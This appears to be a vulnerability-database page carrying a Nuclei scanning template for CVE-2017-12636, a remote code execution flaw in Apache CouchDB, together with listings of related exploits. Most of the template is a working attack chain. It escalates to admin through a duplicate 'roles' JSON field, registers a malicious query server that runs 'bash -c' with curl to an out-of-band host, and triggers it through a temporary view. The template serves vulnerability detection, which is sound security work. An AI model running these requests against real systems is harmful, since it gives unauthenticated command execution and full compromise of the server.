Apache CouchDB < 1.7.0 / 2.x < 2.1.1 - Query Server Remote Code Execution
Remote code execution in Apache CouchDB via _config/query_servers endpoint.
| Reporter | Title | Published | Views | Family All 97 |
|---|---|---|---|---|
| Exploit for Unrestricted Upload of File with Dangerous Type in Apache Tomcat | 16 May 202116:14 | – | gitee | |
| Exploit for Unrestricted Upload of File with Dangerous Type in Apache Tomcat | 27 Apr 202114:33 | – | gitee | |
| Exploit for Unrestricted Upload of File with Dangerous Type in Apache Tomcat | 22 Oct 202115:45 | – | gitee | |
| Apache CouchDB Remote Code Execution Vulnerability | 30 Nov 201700:00 | – | zdt | |
| Apache CouchDB 1.7.0 and 2.x before 2.1.1 - Remote Privilege Escalation Exploit | 23 Apr 201800:00 | – | zdt | |
| Apache CouchDB < 2.1.0 - Remote Code Execution Exploit | 20 Jun 201800:00 | – | zdt | |
| Apache #CouchDB Arbitrary Command Execution Exploit | 13 Jul 201800:00 | – | zdt | |
| couchdb -- multiple vulnerabilities | 14 Nov 201700:00 | – | freebsd | |
| CVE-2017-12635 Apache CouchDB Privilege Escalation Scanner | 4 Dec 202612:40 | – | sploithound | |
| Exploit for Improper Privilege Management in Apache Couchdb | 3 Aug 202613:51 | – | githubexploit |
10
id: CVE-2017-12636
info:
name: Apache CouchDB < 1.7.0 / 2.x < 2.1.1 - Query Server Remote Code Execution
author: DhiyaneshDk
severity: high
description: |
Apache CouchDB before 1.7.0 and 2.x before 2.1.1 allows database administrators to configure the query server to execute arbitrary OS commands via the _config/query_servers endpoint, and such a configuration is then triggered by running a view/temp view using the configured query server language. When combined with CVE-2017-12635 (which allows a non-admin user to grant themselves the _admin role due to a JSON parser discrepancy), this becomes effectively unauthenticated remote code execution. This template chains the CVE-2017-12635 privilege-escalation primitive to create an admin-capable session, registers a malicious query server command that performs an out-of-band interaction, and triggers it via a temporary view (CouchDB 1.x _temp_view flow; CouchDB 2.x uses /_node/<node>/_config/query_servers/ and persisted design documents instead of _temp_view, but the same query-server-command primitive applies).
impact: |
Remote attackers can execute arbitrary operating system commands with the privileges of the CouchDB service account, leading to full system compromise.
remediation: |
Upgrade Apache CouchDB to version 1.7.0 / 2.1.1 or later.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2017-12636
- https://www.exploit-db.com/exploits/44498
- https://justi.cz/security/2017/11/14/couchdb-rce-npm.html
- https://github.com/vulhub/vulhub/tree/master/couchdb/CVE-2017-12636
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
cvss-score: 7.2
cve-id: CVE-2017-12636
epss-score: 0.90602
epss-percentile: 0.99801
cwe-id: CWE-78
cpe: cpe:2.3:a:apache:couchdb:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 5
vendor: apache
product: couchdb
shodan-query:
- product:"couchdb"
- cpe:"cpe:2.3:a:apache:couchdb"
tags: cve,cve2017,couchdb,apache,rce,oast,intrusive,vkev
variables:
user: "{{rand_text_alphanumeric(8)}}"
pass: "{{rand_text_alphanumeric(8)}}"
marker: "{{rand_text_alpha(6)}}"
db: "kev{{rand_int(100000, 999999)}}"
doc: "{{rand_text_alphanumeric(8)}}"
flow: http(1) && http(2) && http(3) && http(4) && http(5)
http:
- raw:
- |
PUT /_users/org.couchdb.user:{{user}} HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{
"type": "user",
"name": "{{user}}",
"roles": ["_admin"],
"roles": [],
"password": "{{pass}}"
}
matchers:
- type: dsl
dsl:
- 'status_code == 201'
- 'contains(body, "\"ok\":true")'
- 'contains(header, "CouchDB")'
condition: and
internal: true
- raw:
- |
PUT /_config/query_servers/{{marker}} HTTP/1.1
Host: {{Hostname}}
Authorization: Basic {{base64(user + ':' + pass)}}
Content-Type: application/json
"bash -c {curl,-s,-m,4,http://{{interactsh-url}}}|/bin/false"
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(header, "CouchDB")'
condition: and
internal: true
- raw:
- |
PUT /{{db}} HTTP/1.1
Host: {{Hostname}}
Authorization: Basic {{base64(user + ':' + pass)}}
Content-Type: application/json
matchers:
- type: dsl
dsl:
- 'status_code == 201'
internal: true
- raw:
- |
PUT /{{db}}/{{doc}} HTTP/1.1
Host: {{Hostname}}
Authorization: Basic {{base64(user + ':' + pass)}}
Content-Type: application/json
{"_id": "{{doc}}"}
matchers:
- type: dsl
dsl:
- 'status_code == 201'
internal: true
- raw:
- |
@timeout: 8s
POST /{{db}}/_temp_view?limit=10 HTTP/1.1
Host: {{Hostname}}
Authorization: Basic {{base64(user + ':' + pass)}}
Content-Type: application/json
{"language": "{{marker}}", "map": ""}
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
- "dns"
condition: or
# digest: 4a0a0047304502206372f4bcf7da4506b6f4371553c65d9f2f57f42a23f7b0e0095eea16f057d803022100fa9436ef3e0cea29ed726f142c3c302c791c821ea41db439783dce76b7d2841a:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
05 Dec 2026 02:06Current
9.1Critical risk
Vulners AI Score9.1
CVSS 39.8
CVSS 210
EPSS0.99838